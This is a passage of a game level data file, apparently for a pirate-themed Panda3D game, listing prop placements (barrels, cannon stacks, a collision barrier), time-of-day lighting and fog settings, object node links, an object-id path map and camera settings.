'Hpr': VBase3(26.565, 0.0, 0.0), 'Pos': Point3(6.541, -16.064, 1.222), 'Scale': VBase3(0.5, 0.5, 0.5), 'VisSize': '', 'Visual': {'Model': 'models/props/barrel'}}, '1267224786.48Bill': {'Type': 'Barrel', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(26.565, 0.0, 0.0), 'Pos': Point3(8.6, -16.1, 1.223), 'Scale': VBase3(0.5, 0.5, 0.5), 'VisSize': '', 'Visual': {'Model': 'models/props/barrel'}}, '1267224890.48Bill': {'Type': 'Barrel', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(26.565, 0.0, 0.0), 'Pos': Point3(7.6, -16.0, 4.45), 'Scale': VBase3(0.5, 0.5, 0.5), 'VisSize': '', 'Visual': {'Model': 'models/props/barrel'}}, '1267225005.98Bill': {'Type': 'Ship_Props', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(10.62, 0.0, 0.0), 'Pos': Point3(16.602, -14.147, 1.268), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Model': 'models/props/cannon_stack_01'}}, '1267225180.0Bill': {'Type': 'Barrel', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(-50.906, 0.0, 0.0), 'Pos': Point3(10.286, -17.59, 1.199), 'Scale': VBase3(0.5, 0.5, 0.5), 'VisSize': '', 'Visual': {'Model': 'models/props/barrel_sideways'}}, '1267225299.15Bill': {'Type': 'Ship_Props', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(26.565, 0.0, 0.0), 'Pos': Point3(-7.95, -15.77, 1.21), 'Scale': VBase3(1.333, 1.333, 1.333), 'VisSize': '', 'Visual': {'Model': 'models/props/cannonball_stack_triangle'}}, '1267225463.17Bill': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(356.0, 0.0, 0.0), 'Pos': Point3(-0.402, -19.0, -3.0), 'Scale': VBase3(11.0, 11.0, 11.0), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_barrier_plane'}}}, 'Pos': Point3(443.0, 360.0, 63.9), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Door': 'models/buildings/shanty_guildhall_door', 'Model': 'models/buildings/shanty_npc_house_combo_A', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_weapons'}}, '1267225081.56Bill': {'Type': 'Ship_Props', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(191.679, 0.0, 0.0), 'Pos': Point3(422.602, 351.87, 62.482), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Model': 'models/props/cannon_broken_prop'}}, '1267225761.84Bill': {'Type': 'Ship_Props', 'DisableCollision': False, 'Holiday': '', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(438.63, 343.1, 63.586), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Model': 'models/props/cannonball_stack_square'}}, '1267225967.48Bill': {'Type': 'Ship_Props', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(204.624, 180.0, 0.0), 'Pos': Point3(458.584, 341.606, 65.587), 'Scale': VBase3(0.75, 0.75, 0.75), 'VisSize': '', 'Visual': {'Model': 'models/props/cannon_stack_02'}}, '1267226578.11Bill': {'Type': 'Wall_Hangings', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(63.0, 0.0, 0.0), 'Pos': Point3(435.35, 345.7, 83.9), 'Scale': VBase3(0.15, 0.15, 0.15), 'VisSize': '', 'Visual': {'Model': 'models/buildings/pir_m_gam_can_cannonOverlay_flag'}}}, 'Visibility': 'Grid', 'Visual': {'Model': 'models/jungles/jungle_a_zero'}}}, 'TodSettings': {'AmbientColors': {0: Vec4(0.45, 0.53, 0.65, 1), 2: Vec4(0.537255, 0.494118, 0.627451, 1), 4: Vec4(0.4, 0.45, 0.5, 1), 6: Vec4(0.44, 0.45, 0.56, 1), 8: Vec4(0.39, 0.42, 0.54, 1), 12: Vec4(0.34, 0.28, 0.41, 1), 13: Vec4(0.34, 0.28, 0.41, 1), 14: Vec4(0.66, 0.76, 0.41, 1), 15: Vec4(0.66, 0.76, 0.41, 1), 16: Vec4(0.25, 0.25, 0.25, 1), 17: Vec4(0.34, 0.28, 0.41, 1)}, 'DirectionalColors': {0: Vec4(0.55, 0.46, 0.35, 1), 2: Vec4(0.458824, 0.458824, 0.364706, 1), 4: Vec4(0.6, 0.34, 0.1, 1), 6: Vec4(0.46, 0.48, 0.45, 1), 8: Vec4(0.42, 0.42, 0.4, 1), 12: Vec4(0.66, 0.76, 0.05, 1), 13: Vec4(0.66, 0.76, 0.05, 1), 14: Vec4(0.3, 0.2, 0.53, 1), 15: Vec4(0.3, 0.2, 0.53, 1), 16: Vec4(0, 0, 0, 1), 17: Vec4(0.66, 0.76, 0.05, 1)}, 'FogColors': {0: Vec4(0.3, 0.2, 0.15, 0), 2: Vec4(0.6, 0.694118, 0.894118, 1), 4: Vec4(0.3, 0.18, 0.15, 0), 6: Vec4(0.15, 0.2, 0.35, 0), 8: Vec4(0.05, 0.06, 0.17, 0), 12: Vec4(0.1, 0.12, 0.03, 0), 13: Vec4(0.1, 0.12, 0.03, 0), 14: Vec4(0.1, 0.12, 0.03, 0), 15: Vec4(0.1, 0.12, 0.03, 0), 16: Vec4(0.25, 0.25, 0.25, 1), 17: Vec4(0.1, 0.12, 0.03, 0)}, 'FogRanges': {0: 0.0001, 2: 9.999999747378752e-05, 4: 0.0001, 6: 0.0001, 8: 0.0002, 12: 0.00025, 13: 0.00025, 14: 0.00025, 15: 0.00025, 16: 0.0001, 17: 0.005}, 'LinearFogRanges': {0: (0.0, 100.0), 2: (0.0, 100.0), 4: (0.0, 100.0), 6: (0.0, 100.0), 8: (0.0, 100.0), 12: (0.0, 100.0), 13: (0.0, 100.0), 14: (0.0, 100.0), 15: (0.0, 100.0), 16: (0.0, 100.0), 17: (0.0, 100.0)}}, 'Node Links': [['1192835419.73dxschafe', '1192835404.89dxschafe', 'Bi-directional'], ['1175224832.0dxschafe', '1192835404.89dxschafe', 'Bi-directional'], ['1192835485.66dxschafe', '1192835481.48dxschafe', 'Bi-directional'], ['1192835481.48dxschafe', '1176168320.0dxschafe', 'Bi-directional'], ['1179333814.72Aholdun', '1192835623.61dxschafe', 'Bi-directional'], ['1192835627.78dxschafe', '1192835623.61dxschafe', 'Bi-directional'], ['1192835627.78dxschafe', '1179333814.72Aholdun', 'Bi-directional'], ['1192835677.05dxschafe', '1192835672.72dxschafe', 'Bi-directional'], ['1192835677.05dxschafe', '1179333651.86Aholdun', 'Bi-directional'], ['1192835672.72dxschafe', '1179333651.86Aholdun', 'Bi-directional'], ['1192835843.34dxschafe', '1192835815.84dxschafe', 'Bi-directional'], ['1176168576.0dxschafe1', '1192835815.84dxschafe', 'Bi-directional'], ['1192835969.39dxschafe', '1192835960.69dxschafe', 'Bi-directional'], ['1190077568.0dxschafe', '1192835960.69dxschafe', 'Bi-directional'], ['1190419328.0dxschafe1', '1192836111.98dxschafe', 'Bi-directional'], ['1192836098.34dxschafe', '1190419328.0dxschafe1', 'Bi-directional'], ['1192836098.34dxschafe', '1192836101.48dxschafe', 'Bi-directional'], ['1192836111.98dxschafe', '1192836101.48dxschafe', 'Bi-directional'], ['1190419328.0dxschafe', '1192836216.88dxschafe', 'Bi-directional'], ['1192836218.73dxschafe', '1192836216.88dxschafe', 'Bi-directional'], ['1192836218.73dxschafe', '1192836221.22dxschafe', 'Bi-directional'], ['1190419328.0dxschafe', '1192836221.22dxschafe', 'Bi-directional'], ['1192836288.8dxschafe', '1192836277.2dxschafe', 'Bi-directional'], ['1192836277.2dxschafe', '1190077440.0dxschafe', 'Bi-directional'], ['1192836402.67dxschafe', '1192836393.19dxschafe', 'Bi-directional'], ['1179336066.55Aholdun', '1192836393.19dxschafe', 'Bi-directional'], ['1192836402.67dxschafe', '1179336066.55Aholdun', 'Bi-directional'], ['1192836491.28dxschafe', '1190419328.0dxschafe0', 'Bi-directional'], ['1192835485.66dxschafe', '1176168320.0dxschafe', 'Bi-directional'], ['1175224832.0dxschafe', '1192835419.73dxschafe', 'Bi-directional'], ['1240280362.33piwanow', '1240280337.58piwanow', 'Bi-directional'], ['1240280290.34piwanow', '1240280337.58piwanow', 'Bi-directional']], 'Layers': {}, 'ObjectIds': {'1165004570.58sdnaik': '["Objects"]["1165004570.58sdnaik"]', '1165004689.08sdnaik': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1165004689.08sdnaik"]', '1165004689.08sdnaik0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1165004689.08sdnaik0"]', '1165004689.09sdnaik': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1165004689.09sdnaik"]', '1172085867.05kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172085867.05kmuller"]', '1172085897.89kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172085897.89kmuller"]', '1172085911.05kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172085911.05kmuller"]', '1172085928.49kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172085928.49kmuller"]', '1172086078.44kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172086078.44kmuller"]', '1172086167.22kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172086167.22kmuller"]', '1172086806.02kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172086806.02kmuller"]', '1172086815.55kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172086815.55kmuller"]', '1172086859.25kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172086859.25kmuller"]', '1172086899.91kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172086899.91kmuller"]', '1172087006.61kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172087006.61kmuller"]', '1172087043.0kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172087043.0kmuller"]', '1172087114.47kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172087114.47kmuller"]', '1172087147.13kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172087147.13kmuller"]', '1172087304.13kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172087304.13kmuller"]', '1172087900.05kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172087900.05kmuller"]', '1172255348.53kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller"]', '1172255348.53kmuller00': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller00"]', '1172255348.53kmuller02': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller02"]', '1172255348.53kmuller03': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller03"]', '1172255348.53kmuller04': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller04"]', '1172255348.53kmuller05': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller05"]', '1172255348.53kmuller06': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller06"]', '1172255348.53kmuller08': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller08"]', '1172255348.53kmuller09': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller09"]', '1172255348.53kmuller10': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller10"]', '1172255348.53kmuller11': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller11"]', '1172255411.11kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255411.11kmuller"]', '1172276608.0mike': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172276608.0mike"]', '1175223168.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1175223168.0dxschafe0"]', '1175223168.0dxschafe1': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1175223168.0dxschafe1"]', '1175223424.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1175223424.0dxschafe"]', '1175224704.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1175224704.0dxschafe0"]', '1175224832.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1175224832.0dxschafe"]', '1176167680.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176167680.0dxschafe0"]', '1176167680.0dxschafe2': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176167680.0dxschafe2"]', '1176167936.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176167936.0dxschafe"]', '1176167936.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176167936.0dxschafe0"]', '1176168064.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168064.0dxschafe"]', '1176168064.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168064.0dxschafe0"]', '1176168192.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168192.0dxschafe"]', '1176168320.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168320.0dxschafe"]', '1176168448.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168448.0dxschafe"]', '1176168448.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168448.0dxschafe0"]', '1176168576.0dxschafe1': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168576.0dxschafe1"]', '1176168576.0dxschafe2': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168576.0dxschafe2"]', '1176168576.0dxschafe3': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168576.0dxschafe3"]', '1176168576.0dxschafe4': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168576.0dxschafe4"]', '1176168576.0dxschafe5': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168576.0dxschafe5"]', '1176168576.0dxschafe6': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168576.0dxschafe6"]', '1176168576.0dxschafe7': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168576.0dxschafe7"]', '1176168704.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168704.0dxschafe"]', '1176168704.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168704.0dxschafe0"]', '1176168704.0dxschafe1': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168704.0dxschafe1"]', '1176168704.0dxschafe2': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168704.0dxschafe2"]', '1176168704.0dxschafe3': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168704.0dxschafe3"]', '1176168704.0dxschafe4': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168704.0dxschafe4"]', '1177008640.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177008640.0dxschafe"]', '1177008640.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177008640.0dxschafe"]', '1177008640.0dxschafe1': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177008640.0dxschafe1"]', '1177008640.0dxschafe2': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177008640.0dxschafe2"]', '1177008768.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177008768.0dxschafe"]', '1177008896.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177008896.0dxschafe"]', '1177009024.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177009024.0dxschafe"]', '1177009024.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177009024.0dxschafe0"]', '1177009152.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177009152.0dxschafe"]', '1178681020.97kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1178681020.97kmuller"]', '1178681025.89kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1178681025.89kmuller"]', '1178681031.47kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1178681031.47kmuller"]', '1178681044.38kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1178681044.38kmuller"]', '1178681049.75kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1178681049.75kmuller"]', '1179333564.3Aholdun': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1179333564.3Aholdun"]', '1179333651.86Aholdun': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1179333651.86Aholdun"]', '1179333670.7Aholdun': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1179333670.7Aholdun"]', '1179333814.72Aholdun': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1179333814.72Aholdun"]', '1179336066.55Aholdun': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1179336066.55Aholdun"]', '1187321856.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1187321856.0dxschafe"]', '1188498358.66kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188498358.66kmuller"]', '1188498393.79kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188498393.79kmuller"]', '1188505728.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe0"]', '1188505728.0dxschafe1': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe1"]', '1188505728.0dxschafe10': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe10"]', '1188505728.0dxschafe11': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe11"]', '1188505728.0dxschafe12': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe12"]', '1188505728.0dxschafe13': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe13"]', '1188505728.0dxschafe14': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe14"]', '1188505728.0dxschafe15': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe15"]', '1188505728.0dxschafe16': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe16"]', '1188505728.0dxschafe17': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe17"]', '1188505728.0dxschafe18': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe18"]', '1188505728.0dxschafe19': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe19"]', '1188505728.0dxschafe2': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe2"]', '1188505728.0dxschafe3': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe3"]', '1188505728.0dxschafe4': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe4"]', '1188505728.0dxschafe5': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe5"]', '1188505728.0dxschafe6': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe6"]', '1188505728.0dxschafe7': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe7"]', '1188505728.0dxschafe8': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe8"]', '1188505728.0dxschafe9': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe9"]', '1188510208.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510208.0dxschafe"]', '1188510208.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510208.0dxschafe0"]', '1188510720.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510720.0dxschafe"]', '1188510720.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510720.0dxschafe0"]', '1188510848.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510848.0dxschafe"]', '1188510848.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510848.0dxschafe0"]', '1188510848.0dxschafe1': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510848.0dxschafe1"]', '1188510848.0dxschafe2': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510848.0dxschafe2"]', '1188510976.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510976.0dxschafe"]', '1188510976.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510976.0dxschafe0"]', '1190077312.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190077312.0dxschafe"]', '1190077440.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190077440.0dxschafe"]', '1190077440.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190077440.0dxschafe0"]', '1190077568.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190077568.0dxschafe"]', '1190077568.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190077568.0dxschafe0"]', '1190419072.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190419072.0dxschafe"]', '1190419072.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190419072.0dxschafe0"]', '1190419328.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190419328.0dxschafe"]', '1190419328.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190419328.0dxschafe0"]', '1190419328.0dxschafe1': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190419328.0dxschafe1"]', '1192835404.89dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835404.89dxschafe"]', '1192835419.73dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835419.73dxschafe"]', '1192835481.48dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835481.48dxschafe"]', '1192835485.66dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835485.66dxschafe"]', '1192835623.61dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835623.61dxschafe"]', '1192835627.78dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835627.78dxschafe"]', '1192835672.72dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835672.72dxschafe"]', '1192835677.05dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835677.05dxschafe"]', '1192835815.84dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835815.84dxschafe"]', '1192835843.34dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835843.34dxschafe"]', '1192835960.69dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835960.69dxschafe"]', '1192835969.39dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835969.39dxschafe"]', '1192836098.34dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836098.34dxschafe"]', '1192836101.48dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836101.48dxschafe"]', '1192836111.98dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836111.98dxschafe"]', '1192836216.88dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836216.88dxschafe"]', '1192836218.73dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836218.73dxschafe"]', '1192836221.22dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836221.22dxschafe"]', '1192836277.2dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836277.2dxschafe"]', '1192836288.8dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836288.8dxschafe"]', '1192836393.19dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836393.19dxschafe"]', '1192836402.67dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836402.67dxschafe"]', '1192836491.28dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836491.28dxschafe"]', '1219277480.27mtucker': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177008640.0dxschafe"]["Objects"]["1219277480.27mtucker"]', '1219277480.29mtucker': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177008640.0dxschafe"]["Objects"]["1219277480.29mtucker"]', '1219277480.63mtucker': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1219277480.63mtucker"]', '1219277480.71mtucker': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1219277480.71mtucker"]', '1219277509.79mtucker': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1219277509.79mtucker"]', '1234402201.22caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234402201.22caoconno"]', '1234402227.47caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234402227.47caoconno"]', '1234487665.61caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234487665.61caoconno"]', '1234487684.68caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234487684.68caoconno"]', '1234488243.32caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234488243.32caoconno"]', '1234490040.01caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234490040.01caoconno"]', '1234490058.69caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234490058.69caoconno"]', '1234490083.41caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234490083.41caoconno"]', '1234490231.43caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234490231.43caoconno"]', '1234490267.37caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234490267.37caoconno"]', '1234923901.38caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234923901.38caoconno"]', '1234927037.2caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234927037.2caoconno"]', '1240280290.34piwanow': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1240280290.34piwanow"]', '1240280337.58piwanow': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1240280337.58piwanow"]', '1240280362.33piwanow': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1240280362.33piwanow"]', '1245869169.58piwanow': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1245869169.58piwanow"]', '1245869277.98piwanow': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1245869277.98piwanow"]', '1248385408.0jloehrle0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1248385408.0jloehrle0"]', '1248385408.0jloehrle1': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1248385408.0jloehrle1"]', '1251250432.02caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1251250432.02caoconno"]', '1261096000.76laura': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1261096000.76laura"]', '1266424598.48Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]', '1266424598.48Bill0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]', '1266424598.5Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]["Objects"]["1266424598.5Bill"]', '1267224626.04Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]["Objects"]["1267224626.04Bill"]', '1267224687.18Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]["Objects"]["1267224687.18Bill"]', '1267224786.48Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]["Objects"]["1267224786.48Bill"]', '1267224890.48Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]["Objects"]["1267224890.48Bill"]', '1267225005.98Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]["Objects"]["1267225005.98Bill"]', '1267225081.56Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1267225081.56Bill"]', '1267225180.0Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]["Objects"]["1267225180.0Bill"]', '1267225299.15Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]["Objects"]["1267225299.15Bill"]', '1267225463.17Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]["Objects"]["1267225463.17Bill"]', '1267225761.84Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1267225761.84Bill"]', '1267225967.48Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1267225967.48Bill"]', '1267226578.11Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1267226578.11Bill"]', '1276203346.38robrusso': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1276203346.38robrusso"]'}} extraInfo = {'camPos': Point3(412.087, 301.636, 81.0083), 'camHpr': VBase3(-25.3942, -10.5711, 0), 'focalLength': 0.864000022411, 'skyState': 2, 'fog': 0}
